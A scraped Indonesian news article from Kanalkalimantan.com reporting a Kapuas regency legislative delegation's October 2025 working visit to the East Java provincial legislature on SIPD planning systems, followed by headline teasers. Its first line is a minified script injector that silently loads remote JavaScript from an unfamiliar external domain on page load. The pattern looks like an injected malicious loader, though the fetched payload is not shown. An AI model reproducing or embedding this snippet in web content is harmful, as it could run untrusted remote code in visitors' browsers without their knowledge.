(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Rombongan Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas melaksanakan kunjungan kerja ke DPRD Provinsi Jawa Timur, Rabu (8/10/2025).
Rombongan dipimpin Ketua DPRD Kabupaten Kapuas, Ardiansah bersama Wakil Ketua I DPRD Kapuas Yohanes dan sejumlah anggota DPRD Kapuas. Mereka diterima oleh Ketua Tim Fasilitasi Kerjasama dan Aspirasi Sekretariat DPRD Provinsi Jawa Timur, Warno Priyo Utomo.
“Kegiatan ini bertujuan untuk memperkuat peran legislatif dalam perencanaan pembangunan daerah yang berbasis kebutuhan masyarakat, sekaligus meningkatkan kapasitas kelembagaan DPRD dalam menjalankan fungsi legislasi, anggaran dan pengawasan yang lebih efektif dan berbasis digital,” kata Ketua DPRD Kapuas, Ardiansah.
Baca juga: Wabup Kapuas Ikuti Penanaman Jagung Serentak, Dukung Swasembada Pangan 2025
Politisi Partai Golkar ini, menjelaskan melalui kunjungan diharapkan dapat diperoleh masukan-masukan sebagai referensi dan acuan dalam penataan mekanisme SIPD untuk Kabupaten Kapuas.
Sementara itu, Ketua Tim Fasilitasi Kerjasama dan Aspirasi Sekretariat DPRD Provinsi Jawa Timur, Warno Priyo Utomo mengatakan, perlu adanya mekanisme penyusunan dan penginputan pokok-pokok pikiran (Pokir) DPRD ke dalam sistem SIPD. Hal terpenting adalah peran strategis DPRD dalam menyampaikan aspirasi masyarakat melalui pokir.
Kemudian dalam mendampingi mekanisme SIPD ada pula tata kelola dan tahapan pelaksanaan Sistem Informasi Pemerintah Daerah (SIPD) sesuai regulasi terbaru.
“DPRD Provinsi Jawa Timur dalam pengelolaan Pokir dan pemanfaatan SIPD sebagai instrumen perencanaan dan penganggaran. Jadi, itu semua perlu adanya sinergi antara eksekutif dan legislatif dalam mendukung transparansi dan akuntabilitas perencanaan pembangunan daerah, dan ini merupakan kewajiban kedua belah pihak agar cita-cita pembangunan yang tersampaikan melalui konstituen adalah amanah yang perlu di sampaikan,” bebernya.
Baca juga: Dewan Pengawas BPJS Ketenagakerjaan Pusat Berkunjung ke Pemkab Banjar
“Kami sangat bangga DPRD Kabupaten Kapuas telah memilih DPRD Provinsi Jawa Timur menjadi sumber referensi dan acuan dalam penataan mekanisme SIPD untuk Kabupaten Kapuas,” ucapnya.
Pertemuan DPRD Kabupaten Kapuas di DPRD Provinsi Jawa Timur berlangsung dalam suasana konstruktif dan penuh semangat kolaboratif. (Kanalkalimantan.com/ags)
Reporter: ags
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.